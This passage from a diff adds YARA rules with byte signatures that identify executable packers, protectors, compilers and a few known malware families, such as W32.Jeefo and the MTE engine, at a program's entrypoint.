+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_120_Beta_PE_Packer_
+{
+	meta:
+		description = "eXPressor 1.2.0 Beta PE Packer"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _W32Jeefo_PE_File_Infector_
+{
+	meta:
+		description = "W32.Jeefo (PE File Infector)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1331__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyBox_C__Anskya_
+{
+	meta:
+		description = "PolyBox C -> Anskya"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _AVP_Antiviral_Database_
+{
+	meta:
+		description = "AVP Antiviral Database"
+	strings:
+		$0 = {41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 74 61 62 61 73 65}
+	condition:
+		$0
+}
+rule _EXE2COM_Limited_
+{
+	meta:
+		description = "EXE2COM (Limited)"
+	strings:
+		$0 = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Utah_RLE_Graphics_format_
+{
+	meta:
+		description = "Utah RLE Graphics format"
+	strings:
+		$0 = {52 CC 00 00 00 00 ?? ?? ?? ?? 09 ?? 08 ?? 08}
+	condition:
+		$0
+}
+rule _PolyEnE_V001p__Lennart_Hedlund_
+{
+	meta:
+		description = "PolyEnE V0.01+ -> Lennart Hedlund"
+	strings:
+		$0 = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _PeX_v099_Eng__bartCrackPl_
+{
+	meta:
+		description = "PeX v0.99 (Eng) -> bart/CrackPl"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_200_alpha_38_
+{
+	meta:
+		description = "PECompact 2.00 alpha 38"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+	condition:
+		$0
+}
+rule _CDCops_II_
+{
+	meta:
+		description = "CD-Cops II"
+	strings:
+		$0 = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _RECrypt_v07x__Crudd_RET_
+{
+	meta:
+		description = "RE-Crypt v0.7x -> Crudd [RET"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+		$1 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CDS_SS_v10_Beta_1__CyberDoom__TeamX_
+{
+	meta:
+		description = "CDS SS v1.0 Beta 1 -> CyberDoom / Team-X"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPaCK_v10__C_Copyright_1998_by_ANAKiN_h_
+{
+	meta:
+		description = "PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN (h)"
+	strings:
+		$0 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 31 39 39 38 20 62 79 20 41 4E 41 4B 69 4E 20 FE 3D 2D 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0
+}
+rule _NsPack_14_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 1.4 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+	condition:
+		$0
+}
+rule _PEArmor_049__Hying_
+{
+	meta:
+		description = "PE-Armor 0.49 -> Hying"
+	strings:
+		$0 = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_
+{
+	meta:
+		description = "Borland C++"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _UCEXE_v23_v24_
+{
+	meta:
+		description = "UCEXE v2.3, v2.4"
+	strings:
+		$0 = {50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Alternative_stub_
+{
+	meta:
+		description = "UPX Alternative stub"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoiner_01_Asm_Version__NEX_
+{
+	meta:
+		description = "N-Joiner 0.1 (Asm Version) -> NEX"
+	strings:
+		$0 = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1311__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.1.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_Crypter_V102__Kas_
+{
+	meta:
+		description = "Pohernah Crypter V1.0.2 -> Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_WWPack32_1x__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake WWPack32 1.x) -> emadicius (h)"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _fds0ft_c0m_pr0tect_v04b_
+{
+	meta:
+		description = "fds0ft c0m pr0tect v0.4b"
+	strings:
+		$0 = {8C CA 2E ?? ?? ?? ?? B4 30 8B ?? ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXERefactor_V01__random_
+{
+	meta:
+		description = "EXERefactor V0.1 -> random"
+	strings:
+		$0 = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_27__Holy_Father__Ratter29A_h_
+{
+	meta:
+		description = "Morphine 2.7 -> Holy_Father & Ratter/29A (h)"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0
+}
+rule _WinRAR_32bit_SFX_Module_
+{
+	meta:
+		description = "WinRAR 32-bit SFX Module"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_V07X__Hying_
+{
+	meta:
+		description = "PEArmor V0.7X -> Hying"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PECompact_14x__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PECompact 1.4x) -> emadicius (h)"
+	strings:
+		$0 = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_FORTRAN_
+{
+	meta:
+		description = "Microsoft FORTRAN"
+	strings:
+		$0 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ExeSmasher_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ExeSmasher]"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_MTE_nonencrypted_
+{
+	meta:
+		description = "Vx: MTE (non-encrypted)"
+	strings:
+		$0 = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 --> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKP_v143__Pavol_Cerven_h_
+{
+	meta:
+		description = "SVKP v1.43 -> Pavol Cerven (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC CE 05 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+	condition:
+		$0 at entrypoint
+}
+rule _Goats_PE_Mutilator_16_
+{
+	meta:
+		description = "Goat's PE Mutilator 1.6"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v123_RC1_
+{
+	meta:
+		description = "ASProtect v1.23 RC1"
+	strings:
+		$0 = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_12_
+{
+	meta:
+		description = "MEW 11 SE 1.2"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PCShrink_v040b_
+{
+	meta:
+		description = "PCShrink v0.40b"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyControl_v303_
+{
+	meta:
+		description = "CopyControl v3.03"
+	strings:
+		$0 = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _DJoin_v07_public_xor_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (xor encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Com4mail_v10_
+{
+	meta:
+		description = "Com4mail v1.0"
+	strings:
+		$0 = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v106b_
+{
+	meta:
+		description = "ASPack v1.06b"
+	strings:
+		$0 = {90 90 90 75 00 E9}
+		$1 = {90 90 75 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EPExE_Pack_V14_lite_final__6aHguT__gluk_
+{
+	meta:
+		description = "!EP(ExE Pack) V1.4 lite final -> 6aHguT & g-l-u-k"
+	strings:
+		$0 = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v138_
+{
+	meta:
+		description = "EXE32Pack v1.38"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_12B__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.2B -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65}
+		$1 = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Turbo_C_1987_or_Borland_Cpp_1991_
+{
+	meta:
+		description = "Turbo C 1987 or Borland C++ 1991"
+	strings:
+		$0 = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [LZMA] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSmasher_vxx_
+{
+	meta:
+		description = "ExeSmasher vx.x"
+	strings:
+		$0 = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v02_
+{
+	meta:
+		description = "Krypton v0.2"
+	strings:
+		$0 = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_12__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.2 -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+	condition:
+		$0
+}
+rule _Unnamed_Scrambler_11C__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.1C -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10}
+		$1 = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _FreeJoiner_Small_build_029__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 029) -> GlOFF"
+	strings:
